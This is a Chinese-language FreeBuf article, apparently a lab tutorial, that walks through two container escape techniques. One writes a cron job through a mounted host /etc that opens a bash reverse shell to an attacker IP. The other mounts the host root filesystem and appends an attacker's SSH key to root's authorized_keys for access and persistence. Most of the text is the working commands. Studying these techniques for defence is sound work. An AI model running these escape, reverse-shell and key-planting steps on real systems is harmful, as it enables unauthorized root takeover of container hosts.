freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

容器逃逸-写计划任务或SSH密钥
2023-11-07 16:40:09

在这篇文章中我介绍2种容器逃逸的方法,一是写入计划任务反弹shell,二是写入ssh密钥获取shell

计划任务反弹shell

搭建环境

./metarget gadget install k8s --version 1.16.5 --domestic

./metarget cnv install mount-host-etc

进入容器

kubectl exec -it mount-host-etc -n metarget

使用cdk检测容器可能存在的逃逸漏洞

./cdk eva

识别出容器/host-etc挂载到宿主机的/etc目录

切换到/host-etc目录下

cd /host-etc

将反弹shell写入计划任务

echo '*/1 * * * * root bash -c "bash -i >& /dev/tcp/192.168.159.189/4321 0>&1"' >> crontab

查看写入的payload

在攻击机上获取到了shell

写入SSH密钥获取shell

在攻击机上生成ssh密钥

ssh-keygen -t rsa

查看生成的密钥

在靶机上搭建容器环境

将宿主机上的根目录挂载到容器的/mnt目录下

docker run -it -v /:/mnt ubuntu /bin/bash

我们将攻击机上生成的ssh公钥写入/mnt/root/.ssh下

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCsCNa2udg0phv1Pb1i9HNQ0ciQmhLa7moVmvaWxtEOQZNvbWs2DR4QA3bTkC6WZVIG/2XhqALkqkrdfZAuzTfkvPoY1MlovyqsVk646cLEfxsc8NYIAIUKx0Txa0gFUx5fKdwm0bRZ5mn40IDuo3EnZVedc35HaiVm6dtUF0MVBXvMpyesfjm3oXBE1zlo0xoUBqhDpLQrhpNo9W6NB/juUCUE9R/WnSNx3DOgU0BNT2tHVFUDMWYMHuHE+WuNMdkZtIhyyYGK1IIvWiL8eKqmIKHAKC4Qasb3ZliPBJgxcJEodaMHmVYRqvXzUs5x1mDkgichKY7U3MpvYf1t/3Tf1mzqz8a7n8J+g8iNhz84NTI3ujMjNHpsZD4w3Z7xv+vFqq4fFADyZF9eOu0SmrAkG32D+SW6gIqTmLsPEA3wfHZAfxKKdYMBEOK59qYDyWpeDFQntWRFlJ66MbkthxLCi0bNPhZWABcEjcm8vgofi8UOF9YWe0CxwkMkUe+mJYU= root@kali" >>/mnt/root/.ssh/authorized_keys

现在我们已经在宿主机的/root/.ssh目录下写入公钥了

我们在攻击机上连接靶机

ssh -i id_rsa root@192.168.159.237

成功连接,同时ssh密钥也可以作为持久化的一种操作。

# 系统安全 # 网络安全技术
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录